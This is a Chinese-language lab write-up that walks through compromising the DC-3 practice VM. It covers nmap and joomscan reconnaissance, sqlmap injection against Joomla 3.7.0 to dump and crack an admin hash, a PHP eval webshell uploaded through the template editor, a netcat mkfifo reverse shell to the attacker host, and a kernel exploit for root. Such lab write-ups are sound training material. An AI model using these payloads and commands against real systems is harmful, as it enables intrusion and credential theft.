DC-3的渗透测试
一、下载地址:
DC-3的靶机介绍:这次的靶机没有提醒,全程需要自己去思考。
二、步骤:
1.探测靶机的信息
1)使用netdiscover -i eth0来探测靶机的IP地址,如图1-1所示。之后使用nmap 来探测网页的开放端口,使用***nmap -T4 -A 192.168.41.143 -p- -oN nmap136.A*** ,如图1-2所示。
图 1-1 靶机的IP地址
图 1-2 探测开放端口
2)知道靶机有开放的80端口,我们尝试去访问网页,发现这次没有提示信息,最后的flag在root的目录下面,如图1-3。先收集网站的信息,使用插件wappalyzer收集网站CMS的信息,如图1-4。
图 1-3 靶机提示信息
图 1-4 网站的基本信息
3)根据上面的信息,去搜索关于***joomla***的漏洞信息和漏洞利用,如图1-5所示。
图 1-5 joomla的漏洞利用
4)因为每个版本的漏洞不一样,还需要进一步确定版本,使用*** joomscan --url http://192.168.41.143***,没有下载的使用命令sudo apt-get install joomla来安装工具。扫描出具体的版本以及后台登录网页,如图1-6所示。尝试访问后台网页,如图1-7所示。
图 1-6 joomla的版本
图 1-7 网页后台登录界面
5)使用 searchsploit工具来查找 joomla 3.7.0版本存在的漏洞,发现一个MySQL的漏洞,如图1-8所示。和上面搜索到的漏洞一样,看来可以参考上面的思路去渗透。
图 1-8 joomla 3.7的漏洞
2.MySQL的注入
1)根据上面搜索到的信息,以及图1-5的思路,基本可以断定存在MySQL的注入漏洞。先将MySQL的注入漏洞相关文档保存到本地,并查看相关的注入方法,如图2-1所示。
cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla-370-mysql.txt
cat joomla-370-mysql.txt
图 2-1 拷贝MySQL文档
2)根据文档可以确定MySQL的注入利用,如图2-2所示。***sqlmap -u “http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent --dbs -p list[fullordering]***,接下来使用sqlmap自动注入工具对靶机执行sql注入代码,发现数据库的名称是5个,如图2-3所示。
图 2-2 文档关于MySQL的说明
图 2-3 发现数据库名称
3)经过尝试发现joomladb下面有user的表,使用命令*** sqlmap -u “http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” --tables -p list[fullordering] ***,发现表格,如图2-4所示。
图 2-4 发现users的表格
4)注入查询#__users表格有那些列,使用命令***sqlmap -u “http://192.168.41.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” --columns -p list[fullordering] ***,需要填指定的数字,如图2-5所示。里面发现有用户和密码的列,如图2-6所示。
图 2-5 需要填指定的数字
图 2-6 发现敏感列名
5)查询#__users表中的username,password字段,输出信息。使用命令"sqlmap -u “http://192.168.41.143/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml” --risk=3 --level=5 --random-agent -D “joomladb” -T “#__users” -C “name,password” --dump -p list[fullordering]" ,如图 2-7所示。
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
图 2-7 发现admin用户和密文
6)尝试使用John爆破密码,爆破出密码是snoopy,如图2-8所示。
vim jommla-370-mysql-admin-hash
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
john jommla-370-mysql-admin-hash
图 2-8 爆破出密码
3.中国蚁剑连接
1)使用MySQL的用户名和密码登录网页,如图3-1所示。根据图1-5的思路猜测,需要使用蚁剑和木马。需要找个一个上传点,在templates中找到上传文件,如图3-2所示。
图 3-1 网页后台
图 3-2 上传文件点
2)在html中上传一句话木马,使用蚁剑来连接,如图3-3所示。使用蚁剑来连接,如图3-4,3-5所示。
<?php
@eval($_POST['yjh']);
?>
yes
图 3-3 上传一句话木马
图 3-4 创建连接
图 3-5连接蚁剑
3)这个时候可以通过蚁剑看到网页的结构,如图3-6所示。可是这样没有办法去进一步取得控制,需要转回到kali中进行漏洞的扫描。需要写一个反弹shell,如图3-7所示。
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.41.142 1337 >/tmp/f');?>
图 3-6 网页文件
图3-7 反弹shell
4)之后在kali中开启1337端口,监听1337端口,使用命令 nc -lvp 1337,如图3-8所示。这里需要注意的是,我们需要去点击自己创造的木马才能去监听端口,如图3-8所示。
&& 这里遇到问题是一直没有办法去监听端口,上网找了好多办法,其中也发现除了中国菜刀连接外的其他两个办法。
图 3-8 开启端口监听
4.漏洞利用
1)根据上面的木马连接和反弹shell,初步建立了对目标主机的控制。这里可以使用 *** whoami***来查看当前用户,如图4-1所示。使用命令 ** uname -a***来查看当前主机的版本,如图 4-2所示。
图 4-1 当前用户
4-2 当前主机版本
2)查看ubuntu的版本,如图4-3所示。之后尝试搜索此版本的漏洞信息,使用 searchsploit工具来搜索,如图 4-4所示。
图 4-3 ubuntu的版本
图4-4 搜索到的漏洞
3)尝试使用本地漏洞来提权,这里使用的是 *** 39772***号漏洞,如图 4-5,4-6所示。点击下载网站,下载压缩文件,如图 4-7所示。
图 4-5 漏洞的下载
图 4-6 关于漏洞的利用
图 4-7 下载压缩文件
4)复制下载文件,通过中国蚁剑上传到网站,如图 4-8所示。记得上传的位置,下载需要解压。找到之前提权的命令行,在里面找到上传的文件解压,如图4-9所示。命令写在下面,如图 4-10所示
unzip 39772.zip
cd 39772
ls
tar -xvf exploit.tar
ls
cd ebpf_mapfd_doubleput_exploit
图 4-10 解压命令
图 4-8 通过蚁剑上传文件
图 4-9 解压后的文件
5.提权
1)使用 ./compile.sh 和 ./doubleput 来提权,如图 5-1所示。之后我们进入root目录,获取最后的flag ,如图 5-2所示。
图 5-1 获取root权限
5-2 获得最后的flag
6.其他
1)中间遇到过木马无法反弹shell,我又去找了其他方法,使用Linux自带的 weelvery(kali版蚁剑),先自动生成一个脚本木马,如图6-1所示。然后复制木马,去网页创建一个文件,如图6-2所示。
图 6-1 生成木马
图 6-2 创建木马文件
2)返回kali中,使用命令*** weevely http://192.168.41.142/文件目录/test.php test,如图 6-3所示。
图 6-3 进入shell
3)这里需要注意的是,不知道为什么,weevely在最后一步解压文件的时候,总是无法解压***…doubleput***。
三、总结:
1.问题:
1)当时在蚁剑连接的时候卡住了,kali总是没有办法去监听。后来发现上传的shell,需要去点击才能回传shell。
2)在下载漏洞利用的解压文件的时候,发现总是拒绝访问,查询之后才发现是DNS的问题。没有在kali中写入映射关系,可以通过站长之家 查询 ***raw.githubusercontent.com***的IP地址,在/etc/hosts中写入映射关系即可下载。
2.总结:
尝试真的去渗透一台不知道任何信息的主机,dc-3提供了基本的思路。
1)需要找到真实的IP地址,因为搭建的环境是在同一个局域网内,省去了很多的时间来寻找IP地址。查找存活主机和寻找开放端口还是 netdiscover 和nmap。
2)使用sqlmap来实现MySQL的漏洞注入。
3)使用中国蚁剑来连接网页和反弹shell到kali中。
4)最后利用系统版本来寻找漏洞,利用漏洞文档来实现提权。
3.知识点
1)使用 netdiscover -i eth0 来扫描存活的靶机。
2)使用nmap -T4 -A 192.168.41.143 -p- -oN nmap136.A来扫描开放的端口以及形成的目录结构。
3)查找CMS的漏洞,下载相关文档,利用文档里面的注入信息和sqlmap来注入漏洞。关于MySQL的注入是从数据库开始,到表格,到表格名,到表格名里面的信息。
4)中国蚁剑,通过图形化的界面来连接木马。这里主要运用了PHP的木马。
5)使用反弹的shell来上传漏洞文档,利用漏洞文档来实现提权。